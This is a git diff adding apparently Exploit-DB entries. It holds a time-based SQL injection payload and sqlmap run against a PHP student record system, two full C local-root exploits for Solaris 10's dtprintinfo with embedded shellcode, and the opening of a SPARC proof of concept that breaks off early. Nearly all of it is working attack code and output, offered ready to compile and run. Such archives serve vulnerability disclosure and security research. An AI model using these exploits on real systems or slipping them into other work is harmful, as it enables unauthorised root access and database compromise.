diff --git a/exploits/php/webapps/49513.txt b/exploits/php/webapps/49513.txt
new file mode 100644
index 000000000..31f196d47
--- /dev/null
+++ b/exploits/php/webapps/49513.txt
@@ -0,0 +1,102 @@
+# Exploit Title: Student Record System 4.0 - 'cid' SQL Injection
+# Date: 2/2/2021
+# Exploit Author: Jannick Tiger
+# Vendor Homepage: https://phpgurukul.com/
+# Software Link: https://phpgurukul.com/wp-content/uploads/2019/05/schoolmanagement.zip
+# Version: V 4.0
+# Tested on: Windows、XAMPP
+
+# Identify the vulnerability
+1. go to http://localhost/schoolmanagement/pages/login.php and login with your account
+2. then go to http://localhost/schoolmanagement/pages/view-course.php
+3. Click edit on any user and then add the following payload to the url payload:' AND (SELECT 9265 FROM (SELECT(SLEEP(5)))ljCB) AND 'yXjI'='yXjI url:http://localhost/schoolmanagement/pages/edit-course.php?cid=7' AND (SELECT 9265 FROM (SELECT(SLEEP(5)))ljCB) AND 'yXjI'='yXjI
+
+If the web server makes you wait 5 seconds then it's vulnerable
+
+# Exploit
+
+Now you can exploit it using sqlmap
+
+command: sqlmap -u url --batch --dbms=mysql --current-db --current-user
+
+example: sqlmap.py -u
+http://localhost/schoolmanagement/edit-course.php?cid=7  --batch
+--dbms=mysql --current-db --current-user
+
+
+
+        ___
+       __H__
+ ___ ___["]_____ ___ ___  {1.4.10.16#dev}
+|_ -| . [,]     | .'| . |
+|___|_  [(]_|_|_|__,|  _|
+      |_|V...       |_|   http://sqlmap.org
+
+[!] legal disclaimer: Usage of sqlmap for attacking targets without prior
+mutual consent is illegal. It is the end user's responsibility to obey all
+applicable local, state and federal laws. Developers assume no liability
+and are not responsible for any misuse or damage caused by this program
+
+[*] starting @ 13:21:36 /2021-02-02/
+
+[13:21:36] [INFO] testing connection to the target URL
+got a 302 redirect to 'http://192.168.100.242:80/schoolmanagement/index.php'.
+Do you want to follow? [Y/n] Y
+you have not declared cookie(s), while server wants to set its own
+('PHPSESSID=88oau62p72k...thmqvnofk6'). Do you want to use those [Y/n] Y
+[13:21:37] [INFO] checking if the target is protected by some kind of
+WAF/IPS
+[13:21:37] [INFO] testing if the target URL content is stable
+[13:21:37] [WARNING] GET parameter 'cid' does not appear to be dynamic
+[13:21:37] [WARNING] heuristic (basic) test shows that GET parameter 'cid'
+might not be injectable
+[13:21:37] [INFO] testing for SQL injection on GET parameter 'cid'
+[13:21:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
+[13:21:38] [INFO] testing 'Boolean-based blind - Parameter replace
+(original value)'
+[13:21:38] [INFO] testing 'Generic inline queries'
+[13:21:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING,
+ORDER BY or GROUP BY clause (FLOOR)'
+[13:21:39] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace
+(FLOOR)'
+[13:21:39] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query
+SLEEP)'
+[13:21:39] [WARNING] time-based comparison requires larger statistical
+model, please wait............... (done)
+[13:21:50] [INFO] GET parameter 'cid' appears to be 'MySQL >= 5.0.12 AND
+time-based blind (query SLEEP)' injectable
+for the remaining tests, do you want to include all tests for 'MySQL'
+extending provided level (1) and risk (1) values? [Y/n] Y
+[13:21:50] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
+[13:21:50] [INFO] automatically extending ranges for UNION query injection
+technique tests as there is at least one other (potential) technique found
+[13:21:52] [INFO] checking if the injection point on GET parameter 'cid' is
+a false positive
+GET parameter 'cid' is vulnerable. Do you want to keep testing the others
+(if any)? [y/N] N
+sqlmap identified the following injection point(s) with a total of 65
+HTTP(s) requests:
+---
+Parameter: cid (GET)
+    Type: time-based blind
+    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
+    Payload: cid=7' AND (SELECT 9265 FROM (SELECT(SLEEP(5)))ljCB) AND
+'yXjI'='yXjI
+---
+[13:22:13] [INFO] the back-end DBMS is MySQL
+[13:22:13] [WARNING] it is very important to not stress the network
+connection during usage of time-based payloads to prevent potential
+disruptions
+do you want sqlmap to try to optimize value(s) for DBMS delay responses
+(option '--time-sec')? [Y/n] Y
+back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
+[13:22:18] [INFO] fetching current user
+[13:22:18] [INFO] retrieved:
+[13:22:28] [INFO] adjusting time delay to 1 second due to good response
+times
+root@localhost
+current user: 'root@localhost'
+[13:23:24] [INFO] fetching current database
+[13:23:24] [INFO] retrieved: schoolmanagement
+current database: 'schoolmanagement'
+[13:24:22] [INFO] fetched data logged to text files under
\ No newline at end of file
diff --git a/exploits/solaris/local/49514.c b/exploits/solaris/local/49514.c
new file mode 100644
index 000000000..53f4a9873
--- /dev/null
+++ b/exploits/solaris/local/49514.c
@@ -0,0 +1,356 @@
+# Exploit Title: Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (2)
+# Date: 2021-02-01
+# Exploit Author: Marco Ivaldi
+# Vendor Homepage: https://www.oracle.com/solaris/solaris10/
+# Version: Solaris 10
+# Tested on: Solaris 10 1/13 Intel
+
+
+/*
+ * raptor_dtprintcheckdir_intel.c - Solaris/Intel 0day? LPE
+ * Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>
+ *
+ * "What we do in life echoes in eternity" -- Maximus Decimus Meridius
+ * https://patchfriday.com/22/
+ *
+ * Another buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to
+ * local root. This one was discovered by Marti Guasch Jimenez, who attended my
+ * talk "A bug's life: story of a Solaris 0day" presented at #INFILTRATE19 on
+ * May 2nd, 2019 (https://github.com/0xdea/raptor_infiltrate19).
+ *
+ * It's a stack-based buffer overflow in the check_dir() function:
+ * void __0FJcheck_dirPcTBPPP6QStatusLineStructPii(...){
+ *     char local_724 [300];
+ *     ...
+ *     __format = getenv("REQ_DIR");
+ *     sprintf(local_724,__format,param_2);
+ *
+ * "To trigger this vulnerability we need a printer present, we can also fake
+ * it with the lpstat trick. We also need at least one directory in the path
+ * pointed by the environment variable TMP_DIR. Finally, we just need to set
+ * REQ_DIR with a value of 0x720 of padding + value to overwrite EBP + value to
+ * overwrite EIP." -- Marti Guasch Jimenez
+ *
+ * This bug was likely fixed during the general cleanup of CDE code done by
+ * Oracle in response to my recently reported vulnerabilities. However, I can't
+ * confirm this because I have no access to their patches:/
+ *
+ * Usage:
+ * $ gcc raptor_dtprintcheckdir_intel.c -o raptor_dtprintcheckdir_intel -Wall
+ * [on your xserver: disable the access control]
+ * $ ./raptor_dtprintcheckdir_intel 192.168.1.1:0
+ * [on your xserver: double click on the fake "fnord" printer]
+ * [...]
+ * # id
+ * uid=0(root) gid=1(other)
+ * #
+ *
+ * Tested on:
+ * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13)
+ * [previous Solaris versions are also likely vulnerable]
+ */
+
+#include <fcntl.h>
+#include <link.h>
+#include <procfs.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <strings.h>
+#include <unistd.h>
+#include <sys/stat.h>
+#include <sys/systeminfo.h>
+#include <sys/types.h>
+
+#define INFO1	"raptor_dtprintcheckdir_intel.c - Solaris/Intel 0day? LPE"
+#define INFO2	"Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>"
+
+#define	VULN	"/usr/dt/bin/dtprintinfo"	// the vulnerable program
+#define	BUFSIZE	2048				// size of the evil env var
+
+char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */
+/* double setuid() */
+"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
+"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
+/* execve() */
+"\x31\xc0\x50\x68/ksh\x68/bin"
+"\x89\xe3\x50\x53\x89\xe2\x50"
+"\x52\x53\xb0\x3b\x50\xcd\x91";
+
+/* globals */
+char	*arg[2] = {"foo", NULL};
+char	*env[256];
+int	env_pos = 0, env_len = 0;
+
+/* prototypes */
+int	add_env(char *string);
+void	check_zero(int addr, char *pattern);
+int	get_sc_addr(char *path, char **argv);
+int	search_ldso(char *sym);
+int	search_rwx_mem(void);
+void	set_val(char *buf, int pos, int val);
+
+/*
+ * main()
+ */
+int main(int argc, char **argv)
+{
+	char	buf[BUFSIZE];
+	char	platform[256], release[256], display[256];
+	int	i, sc_addr;
+
+	int	sb = ((int)argv[0] | 0xfff);	/* stack base */
+	int	ret = search_ldso("strcpy");	/* or sprintf */
+	int	rwx_mem = search_rwx_mem();	/* rwx memory */
+
+	/* lpstat code to add a fake printer */
+	if (!strcmp(argv[0], "lpstat")) {
+
+		/* check command line */
+		if (argc != 2)
+			exit(1);
+
+		/* print the expected output and exit */
+		if(!strcmp(argv[1], "-v")) {
+			fprintf(stderr, "lpstat called with -v\n");
+			printf("device for fnord: /dev/null\n");
+		} else {
+			fprintf(stderr, "lpstat called with -d\n");
+			printf("system default destination: fnord\n");
+		}
+		exit(0);
+	}
+
+	/* helper program that prints argv[0] address, used by get_sc_addr() */
+	if (!strcmp(argv[0], "foo")) {
+		printf("0x%p\n", argv[0]);
+		exit(0);
+	}
+
+	/* print exploit information */
+	fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
+
+	/* process command line */
+	if (argc != 2) {
+		fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
+		exit(1);
+	}
+	sprintf(display, "DISPLAY=%s", argv[1]);
+
+	/* prepare the evil env var */
+	memset(buf, 'A', sizeof(buf));
+	buf[sizeof(buf) - 1] = 0x0;
+	memcpy(buf, "REQ_DIR=", 8);
+
+	/* fill the envp, keeping padding */
+	add_env(sc);
+	add_env(buf);
+	add_env(display);
+	add_env("TMP_DIR=/tmp");
+	add_env("PATH=.:/usr/bin");
+	add_env("HOME=/tmp");
+	add_env(NULL);
+
+	/* calculate the shellcode address */
+	sc_addr = get_sc_addr(VULN, argv);
+
+	/* fill with ld.so.1 address, saved eip, and arguments */
+	for (i = 12; i < BUFSIZE - 20; i += 4) {
+		set_val(buf, i, ret);		/* strcpy */
+		set_val(buf, i += 4, rwx_mem);	/* saved eip */
+		set_val(buf, i += 4, rwx_mem);	/* 1st argument */
+		set_val(buf, i += 4, sc_addr);	/* 2nd argument */
+	}
+
+	/* we need at least one directory inside TMP_DIR to trigger the bug */
+	mkdir("/tmp/one_dir", S_IRWXU | S_IRWXG | S_IRWXO);
+
+	/* create a symlink for the fake lpstat */
+	unlink("lpstat");
+	symlink(argv[0], "lpstat");
+
+	/* print some output */
+	sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
+	sysinfo(SI_RELEASE, release, sizeof(release) - 1);
+	fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
+	fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
+	fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
+	fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
+	fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret);
+
+        /* check for null bytes */
+        check_zero(sc_addr, "sc address");
+
+	/* run the vulnerable program */
+	execve(VULN, arg, env);
+	perror("execve");
+	exit(1);
+}
+
+/*
+ * add_env(): add a variable to envp and pad if needed
+ */
+int add_env(char *string)
+{
+	int	i;
+
+	/* null termination */
+	if (!string) {
+		env[env_pos] = NULL;
+		return env_len;
+	}
+
+	/* add the variable to envp */
+	env[env_pos] = string;
+	env_len += strlen(string) + 1;
+	env_pos++;
+
+	/* pad the envp using zeroes */
+	if ((strlen(string) + 1) % 4)
+		for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
+			env[env_pos] = string + strlen(string);
+			env_len++;
+		}
+
+	return env_len;
+}
+
+/*
+ * check_zero(): check an address for the presence of a 0x00
+ */
+void check_zero(int addr, char *pattern)
+{
+	if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
+	    !(addr & 0xff000000)) {
+		fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
+		exit(1);
+	}
+}
+
+/*
+ * get_sc_addr(): get shellcode address using a helper program
+ */
+int get_sc_addr(char *path, char **argv)
+{
+	char	prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
+	char	hex[11] = "\x00";
+	int	fd[2], addr;
+
+        /* truncate program name at correct length and create a hard link */
+	prog[strlen(path)] = 0x0;
+	unlink(prog);
+	link(argv[0], prog);
+
+        /* open pipe to read program output */
+	if (pipe(fd) < 0) {
+		perror("pipe");
+		exit(1);
+	}
+
+	switch(fork()) {
+
+	case -1: /* cannot fork */
+		perror("fork");
+		exit(1);
+
+	case 0: /* child */
+		dup2(fd[1], 1);
+		close(fd[0]);
+		close(fd[1]);
+		execve(prog, arg, env);
+		perror("execve");
+		exit(1);
+
+	default: /* parent */
+		close(fd[1]);
+		read(fd[0], hex, sizeof(hex));
+		break;
+	}
+
+	/* check and return address */
+	if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) {
+		fprintf(stderr, "error: cannot read sc address from helper program\n");
+		exit(1);
+	}
+	return addr;
+}
+
+/*
+ * search_ldso(): search for a symbol inside ld.so.1
+ */
+int search_ldso(char *sym)
+{
+	int		addr;
+	void		*handle;
+	Link_map	*lm;
+
+	/* open the executable object file */
+	if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
+		perror("dlopen");
+		exit(1);
+	}
+
+	/* get dynamic load information */
+	if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
+		perror("dlinfo");
+		exit(1);
+	}
+
+	/* search for the address of the symbol */
+	if ((addr = (int)dlsym(handle, sym)) == NULL) {
+		fprintf(stderr, "sorry, function %s() not found\n", sym);
+		exit(1);
+	}
+
+	/* close the executable object file */
+	dlclose(handle);
+
+	check_zero(addr - 4, sym);
+	return addr;
+}
+
+/*
+ * search_rwx_mem(): search for an RWX memory segment valid for all
+ * programs (typically, /usr/lib/ld.so.1) using the proc filesystem
+ */
+int search_rwx_mem(void)
+{
+	int	fd;
+	char	tmp[16];
+	prmap_t	map;
+	int	addr = 0, addr_old;
+
+	/* open the proc filesystem */
+	sprintf(tmp,"/proc/%d/map", (int)getpid());
+	if ((fd = open(tmp, O_RDONLY)) < 0) {
+		fprintf(stderr, "can't open %s\n", tmp);
+		exit(1);
+	}
+
+	/* search for the last RWX memory segment before stack (last - 1) */
+	while (read(fd, &map, sizeof(map)))
+		if (map.pr_vaddr)
+			if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
+				addr_old = addr;
+				addr = map.pr_vaddr;
+			}
+	close(fd);
+
+	/* add 4 to the exact address null bytes */
+	if (!(addr_old & 0xff))
+		addr_old |= 0x04;
+	if (!(addr_old & 0xff00))
+		addr_old |= 0x0400;
+
+	return addr_old;
+}
+
+/*
+ * set_val(): copy a dword inside a buffer (little endian)
+ */
+void set_val(char *buf, int pos, int val)
+{
+	buf[pos] =	(val & 0x000000ff);
+	buf[pos + 1] =	(val & 0x0000ff00) >> 8;
+	buf[pos + 2] =	(val & 0x00ff0000) >> 16;
+	buf[pos + 3] =	(val & 0xff000000) >> 24;
+}
\ No newline at end of file
diff --git a/exploits/solaris/local/49515.c b/exploits/solaris/local/49515.c
new file mode 100644
index 000000000..aa7f3631c
--- /dev/null
+++ b/exploits/solaris/local/49515.c
@@ -0,0 +1,279 @@
+# Exploit Title: Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (3)
+# Date: 2021-02-01
+# Exploit Author: Marco Ivaldi
+# Vendor Homepage: https://www.oracle.com/solaris/solaris10/
+# Version: Solaris 10
+# Tested on: Solaris 10 1/13 Intel
+
+/*
+ * raptor_dtprintcheckdir_intel2.c - Solaris/Intel FMT LPE
+ * Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>
+ *
+ * "I'm gonna have to go into hardcore hacking mode!" -- Hackerman
+ * https://youtu.be/KEkrWRHCDQU
+ *
+ * Same code snippet, different vulnerability. 20 years later, format string
+ * bugs are not extinct after all! The vulnerable function looks like this:
+ *
+ * void __0FJcheck_dirPcTBPPP6QStatusLineStructPii(...)
+ * {
+ * ...
+ * 	char local_724 [300];
+ * ...
+ * 	else {
+ * 		__format = getenv("REQ_DIR");
+ * 		sprintf(local_724,__format,param_2); // [1]
+ * 	}
+ * ...
+ * 	local_c = strlen(local_724); // [2]
+ * 	sprintf(local_5f8,"/var/spool/lp/tmp/%s/",param_2); // [3]
+ * ...
+ * }
+ *
+ * The plan (inspired by an old technique devised by gera) is to exploit the 
+ * sprintf at [1], where we control the format string, to replace the strlen 
+ * at [2] with a strdup and the sprintf at [3] with a call to the shellcode
+ * dynamically allocated in the heap by strdup and pointed to by the local_c 
+ * variable at [2]. In practice, to pull this off the structure of the evil 
+ * environment variable REQ_DIR must be:
+ * [sc] [pad] [.got/strlen] [.got/sprintf] [stackpop] [W .plt/strdup] [W call *-0x8(%ebp)]
+ *
+ * To collect the needed addresses for your system, use:
+ * $ objdump -R /usr/dt/bin/dtprintinfo | grep strlen # .got
+ * 080994cc R_386_JUMP_SLOT   strlen
+ * $ objdump -R /usr/dt/bin/dtprintinfo | grep sprintf # .got
+ * 080994e4 R_386_JUMP_SLOT   sprintf
+ * $ objdump -x /usr/dt/bin/dtprintinfo | grep strdup # .plt
+ * 0805df20       F *UND*  00000000 strdup
+ * $ objdump -d /usr/dt/bin/dtprintinfo | grep call | grep ebp | grep -- -0x8 # .text
+ * 08067f52:       ff 55 f8                call   *-0x8(%ebp)
+ *
+ * This bug was likely fixed during the general cleanup of CDE code done by
+ * Oracle in response to my recently reported vulnerabilities. However, I can't
+ * confirm this because I have no access to their patches:/
+ *
+ * See also:
+ * raptor_dtprintcheckdir_intel.c (vulnerability found by Marti Guasch Jimenez)
+ * raptor_dtprintcheckdir_sparc.c (just a proof of concept)
+ * raptor_dtprintcheckdir_sparc2.c (the real deal)
+ *
+ * Usage:
+ * $ gcc raptor_dtprintcheckdir_intel2.c -o raptor_dtprintcheckdir_intel2 -Wall
+ * [on your xserver: disable the access control]
+ * $ ./raptor_dtprintcheckdir_intel2 192.168.1.1:0
+ * [on your xserver: double click on the fake "fnord" printer]
+ * [...]
+ * # id
+ * uid=0(root) gid=1(other)
+ * #
+ *
+ * Tested on:
+ * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13)
+ * [previous Solaris versions are also likely vulnerable]
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <strings.h>
+#include <unistd.h>
+#include <sys/stat.h>
+#include <sys/systeminfo.h>
+
+#define INFO1	"raptor_dtprintcheckdir_intel2.c - Solaris/Intel FMT LPE"
+#define INFO2	"Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>"
+
+#define	VULN		"/usr/dt/bin/dtprintinfo"	// vulnerable program
+#define	BUFSIZE		300				// size of evil env var
+#define	STACKPOPSEQ	"%.8x"				// stackpop sequence
+#define	STACKPOPS	14				// number of stackpops
+
+/* replace with valid addresses for your system */
+#define STRLEN		0x080994cc			// .got strlen address
+#define	SPRINTF		0x080994e4			// .got sprintf address
+#define STRDUP		0x0805df20			// .plt strdup address
+#define	RET		0x08067f52			// call *-0x8(%ebp) address
+
+/* split an address in 4 bytes */
+#define SPLITB(b1, b2, b3, b4, addr) {	\
+	b1 = (addr & 0x000000ff);	\
+	b2 = (addr & 0x0000ff00) >> 8;	\
+	b3 = (addr & 0x00ff0000) >> 16;	\
+	b4 = (addr & 0xff000000) >> 24;	\
+}
+
+char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */
+/* double setuid() */
+"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
+"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
+/* execve() */
+"\x31\xc0\x50\x68/ksh\x68/bin"
+"\x89\xe3\x50\x53\x89\xe2\x50"
+"\x52\x53\xb0\x3b\x50\xcd\x91";
+
+/* globals */
+char	*arg[2] = {"foo", NULL};
+char	*env[256];
+int	env_pos = 0, env_len = 0;
+
+/* prototypes */
+int	add_env(char *string);
+
+/*
+ * main()
+ */
+int main(int argc, char **argv)
+{
+	char		buf[BUFSIZE], *p = buf;
+	char		platform[256], release[256], display[256];
+
+	int		i, stackpops = STACKPOPS;
+	unsigned	base, n1, n2, n3, n4, n5, n6, n7, n8;
+	unsigned char	strdup1, strdup2, strdup3, strdup4;
+	unsigned char	ret1, ret2, ret3, ret4;
+
+	int		strlen_got = STRLEN;
+	int		sprintf_got = SPRINTF;
+	int		strdup_plt = STRDUP;
+	int		ret = RET;
+
+	/* lpstat code to add a fake printer */
+	if (!strcmp(argv[0], "lpstat")) {
+
+		/* check command line */
+		if (argc != 2)
+			exit(1);
+
+		/* print the expected output and exit */
+		if(!strcmp(argv[1], "-v")) {
+			fprintf(stderr, "lpstat called with -v\n");
+			printf("device for fnord: /dev/null\n");
+		} else {
+			fprintf(stderr, "lpstat called with -d\n");
+			printf("system default destination: fnord\n");
+		}
+		exit(0);
+	}
+
+	/* print exploit information */
+	fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
+
+	/* process command line */
+	if (argc != 2) {
+		fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
+		exit(1);
+	}
+	sprintf(display, "DISPLAY=%s", argv[1]);
+
+	/* evil env var: name + shellcode + padding */
+	bzero(buf, BUFSIZE);
+	sprintf(buf, "REQ_DIR=%s#", sc);
+	p += strlen(buf);
+
+	/* format string: .got strlen address */
+	*((void **)p) = (void *)(strlen_got); p += 4;
+	memset(p, 'A', 4); p += 4; /* dummy */
+	*((void **)p) = (void *)(strlen_got + 1); p += 4;
+	memset(p, 'A', 4); p += 4; /* dummy */
+	*((void **)p) = (void *)(strlen_got + 2); p += 4;
+	memset(p, 'A', 4); p += 4; /* dummy */
+	*((void **)p) = (void *)(strlen_got + 3); p += 4;
+	memset(p, 'A', 4); p += 4; /* dummy */
+
+	/* format string: .got sprintf address */
+	*((void **)p) = (void *)(sprintf_got); p += 4;
+	memset(p, 'A', 4); p += 4; /* dummy */
+	*((void **)p) = (void *)(sprintf_got + 1); p += 4;
+	memset(p, 'A', 4); p += 4; /* dummy */
+	*((void **)p) = (void *)(sprintf_got + 2); p += 4;
+	memset(p, 'A', 4); p += 4; /* dummy */
+	*((void **)p) = (void *)(sprintf_got + 3); p += 4;
+
+	/* format string: stackpop sequence */
+	base = strlen(buf) - strlen("REQ_DIR=");
+	for (i = 0; i < stackpops; i++, p += strlen(STACKPOPSEQ), base += 8)
+		strcat(p, STACKPOPSEQ);
+
+	/* calculate numeric arguments for .plt strdup address */
+	SPLITB(strdup1, strdup2, strdup3, strdup4, strdup_plt);
+	n1 = (strdup1 - base)					% 0x100;
+	n2 = (strdup2 - base - n1)				% 0x100;
+	n3 = (strdup3 - base - n1 - n2)				% 0x100;
+	n4 = (strdup4 - base - n1 - n2 - n3)			% 0x100;
+
+	/* calculate numeric arguments for call *-0x8(%ebp) address */
+	SPLITB(ret1, ret2, ret3, ret4, ret);
+	n5 = (ret1 - base - n1 - n2 - n3 - n4)			% 0x100;
+	n6 = (ret2 - base - n1 - n2 - n3 - n4 - n5)		% 0x100;
+	n7 = (ret3 - base - n1 - n2 - n3 - n4 - n5 - n6)	% 0x100;
+	n8 = (ret4 - base - n1 - n2 - n3 - n4 - n5 - n6 - n7)	% 0x100;
+
+	/* check for potentially dangerous numeric arguments below 10 */
+	n1 += (n1 < 10) ? (0x100) : (0);
+	n2 += (n2 < 10) ? (0x100) : (0);
+	n3 += (n3 < 10) ? (0x100) : (0);
+	n4 += (n4 < 10) ? (0x100) : (0);
+	n5 += (n5 < 10) ? (0x100) : (0);
+	n6 += (n6 < 10) ? (0x100) : (0);
+	n7 += (n7 < 10) ? (0x100) : (0);
+	n8 += (n8 < 10) ? (0x100) : (0);
+
+	/* format string: write string */
+	sprintf(p, "%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n", n1, n2, n3, n4, n5, n6, n7, n8);
+
+	/* fill the envp, keeping padding */
+	add_env(buf);
+	add_env(display);
+	add_env("TMP_DIR=/tmp");
+	add_env("PATH=.:/usr/bin");
+	add_env("HOME=/tmp");
+	add_env(NULL);
+
+	/* we need at least one directory inside TMP_DIR to trigger the bug */
+	mkdir("/tmp/one_dir", S_IRWXU | S_IRWXG | S_IRWXO);
+
+	/* create a symlink for the fake lpstat */
+	unlink("lpstat");
+	symlink(argv[0], "lpstat");
+
+	/* print some output */
+	sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
+	sysinfo(SI_RELEASE, release, sizeof(release) - 1);
+	fprintf(stderr, "Using SI_PLATFORM\t\t: %s (%s)\n", platform, release);
+	fprintf(stderr, "Using strlen address in .got\t: 0x%p\n", (void *)strlen_got);
+	fprintf(stderr, "Using sprintf address in .got\t: 0x%p\n", (void *)sprintf_got);
+	fprintf(stderr, "Using strdup address in .plt\t: 0x%p\n", (void *)strdup_plt);
+	fprintf(stderr, "Using call *-0x8(%%ebp) address\t: 0x%p\n\n", (void *)ret);
+
+	/* run the vulnerable program */
+	execve(VULN, arg, env);
+	perror("execve");
+	exit(1);
+}
+
+/*
+ * add_env(): add a variable to envp and pad if needed
+ */
+int add_env(char *string)
+{
+	int	i;
+
+	/* null termination */
+	if (!string) {
+		env[env_pos] = NULL;
+		return env_len;
+	}
+
+	/* add the variable to envp */
+	env[env_pos] = string;
+	env_len += strlen(string) + 1;
+	env_pos++;
+
+	/* pad the envp using zeroes */
+	if ((strlen(string) + 1) % 4)
+		for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
+			env[env_pos] = string + strlen(string);
+			env_len++;
+		}
+
+	return env_len;
+}
\ No newline at end of file
diff --git a/exploits/solaris/local/49516.c b/exploits/solaris/local/49516.c
new file mode 100644
index 000000000..21fa47556
--- /dev/null
+++ b/exploits/solaris/local/49516.c
@@ -0,0 +1,549 @@
+# Exploit Title: Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation
+# Date: 2021-02-01
+# Exploit Author: Marco Ivaldi
+# Vendor Homepage: https://www.oracle.com/solaris/solaris10/
+# Version: Solaris 10
+# Tested on: Solaris 10 1/13 SPARC
+
+/*
+ * raptor_dtprintcheckdir_sparc.c - Solaris/SPARC FMT PoC 
+ * Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>
+ *
+ * "Mimimimimimimi
+ *  Mimimi only mimi
+ *  Mimimimimimimi
+ *  Mimimi sexy mi"
+ *  		-- Serebro
+ *
+ * As usual, exploitation on SPARC turned out to be much more complicated (and
+ * fun) than on Intel. Since the vulnerable program needs to survive one 
+ * additional function before we can hijack %pc, the classic stack-based buffer
+ * overflow approach didn't seem feasible in this case. Therefore, I opted for
+ * the format string bug. This is just a proof of concept, 'cause guess what -- 
+ * on my system it works only when gdb or truss are attached to the target 
+ * process:( To borrow Neel Mehta's words:
+ *
+ * "It's quite common to find an exploit that only works with GDB attached to
+ * the process, simply because without the debugger, break register windows
+ * aren't flushed to the stack and the overwrite has no effect." 
+ * 						-- The Shellcoder's Handbook
+ *
+ * On different hardware configurations this exploit might work if the correct
+ * retloc and offset are provided. It might also be possible to force a context
+ * switch at the right time that results in registers being flushed to the
+ * stack at the right moment. However, this method tends to be unreliable even
+ * when the attack is repeatable like in this case. A better way to solve the
+ * puzzle would be to overwrite something different, e.g.:
+ *
+ * - Activation records of other functions, such as check_dir() (same issues)
+ * - Callback to function SortJobs() (nope, address is hardcoded in .text)
+ * - PLT in the binary (I need a different technique to handle null bytes)
+ * - PLT (R_SPARC_JMP_SLOT) in libc (no null bytes, this looks promising!) 
+ * - Other OS function pointers I'm not aware of still present in Solaris 10
+ *
+ * Finally, it might be possible to combine the stack-based buffer overflow and
+ * the format string bug to surgically fix addresses and survive until needed
+ * for program flow hijacking to be possible. Bottom line: there's still some
+ * work to do to obtain a reliable exploit, but I think it's feasible. You're
+ * welcome to try yourself if you feel up to the task and have a spare SPARC
+ * box;) [spoiler alert: I did it myself, see raptor_dtprintcheckdir_sparc2.c]
+ *
+ * This bug was likely fixed during the general cleanup of CDE code done by
+ * Oracle in response to my recently reported vulnerabilities. However, I can't
+ * confirm this because I have no access to their patches:/
+ *
+ * See also:
+ * raptor_dtprintcheckdir_intel.c (vulnerability found by Marti Guasch Jimenez)
+ * raptor_dtprintcheckdir_intel2.c
+ * raptor_dtprintcheckdir_sparc2.c (the real deal)
+ *
+ * Usage:
+ * $ gcc raptor_dtprintcheckdir_sparc.c -o raptor_dtprintcheckdir_sparc -Wall
+ * [on your xserver: disable the access control]
+ * $ truss -u a.out -u '*' -fae ./raptor_dtprintcheckdir_sparc 192.168.1.1:0
+ * [on your xserver: double click on the fake "fnord" printer]
+ * ...
+ * -> __0FJcheck_dirPcTBPPP6QStatusLineStructPii(0xfe584e58, 0xff2a4042, 0x65db0, 0xffbfc50c)
+ *   -> libc:getenv(0x4e8f8, 0x0, 0x0, 0x0)
+ *   <- libc:getenv() = 0xffbff364
+ *   -> libc:getenv(0x4e900, 0x1, 0xf9130, 0x0)
+ *   <- libc:getenv() = 0xffbff364
+ *   -> libc:sprintf(0xffbfc1bc, 0xffbff364, 0xff2a4042, 0x0)
+ * ...
+ * setuid(0)                                       = 0
+ * chmod("/bin/ksh", 037777777777)                 = 0
+ * _exit(0)
+ * $ ksh
+ * # id
+ * uid=100(user) gid=1(other) euid=0(root) egid=2(bin)
+ * #
+ *
+ * Tested on:
+ * SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise
+ * [previous Solaris versions are also likely vulnerable (and easier to exploit)]
+ */
+
+#include <fcntl.h>
